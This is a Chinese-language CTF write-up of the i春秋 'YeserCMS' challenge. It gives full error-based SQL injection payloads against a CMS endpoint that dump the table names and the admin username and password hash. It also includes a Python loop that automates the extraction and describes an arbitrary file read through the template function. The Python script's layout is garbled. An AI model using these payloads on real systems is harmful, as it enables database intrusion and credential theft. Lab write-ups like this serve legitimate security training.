i春秋python_i春秋CTF-YeserCMS

原创

小小甜饼 于 2021-01-14 11:18:29 发布 35 收藏
文章标签： i春秋python

分析

打开网站，在文档下载页面用户评论区域，发现是一个EasyCMS

访问url/celive/live/header.php，直接进行报错注入

数据库：

```
xajax=Postdata&xajaxargs[0]="detail=xxxxxx',
(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database()))
),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- "
```

结果：

```
XPATH syntax error: '[Yeser]'
```

```
INSERT INTO `yesercms_detail` (`chatid`,`detail`,`who_witter`) VALUES('','xxxxxx',
(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(database()))
),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- (2018-09-06 17:06:08)','2')
```

数据表：

这里需要注意一下：group_concat取数据的32位，因此不能完全爆出数据表，需要调整1,32才行

```
xajax=Postdata&xajaxargs[0]="detail=xxxxxx',
(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from
information_schema.tables where
table_schema=database()),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- "
```

结果

```
XPATH syntax error: '[yesercms_a_attachment,yesercms_'
```

python脚本跑一下

```
import requests

url = 'http://e32e8eceff7a4e3f922fe2640f1c82a67a059c73c2f44c14.game.ichunqiu.com/celive/live/header.php'

for i in range(1,999,31):

postdata = {

'xajax':'Postdata',
```

'xajaxargs[0]':""detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()),%s,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- "" %str(i)

}

r = requests.post(url,data=postdata)

print r.content[22:53]

简单的python，循环跑一下，也是可以出来的，但是表太多了，我是不太知道大佬们怎么精准定位到yesercms_user表

yesercms_a_attachment,yesercms_a_comment,yesercms_a_rank,yesercms_a_vote,yesercms_activity,yesercm

最后爆出数据：

xajax=Postdata&xajaxargs[0]="detail=xxxxxx',(UpdateXML(1,CONCAT(0x5b,mid((SELECT/**/GROUP_CONCAT(concat(username,'|',password)) from yesercms_user),1,32),0x5d),1)),NULL,NULL,NULL,NULL,NULL,NULL)-- "

XPATH syntax error: '[admin|ff512d4240cbbdeafada404677ccbe61]'

这里也是一样，只会显示32位字符，需要调整一下，得到账户密码。

MD5反解密码SOMD5得Yeser231

进入后台页面，

想着通过上传图片拿shell，但是发现根本不存在这个类

于是想在当前模板中插入一个木马拿shell，结果保存不了！！

看了别人的WP，发现原来调用当前模板的时候用的是读文件的函数，也就是说，可以利用这个对文件的函数读取任意文件：

更改id 用于读flag，发现可行，getFlag。

知识点

报错注入

EasyCMS 漏洞

读取文件函数的利用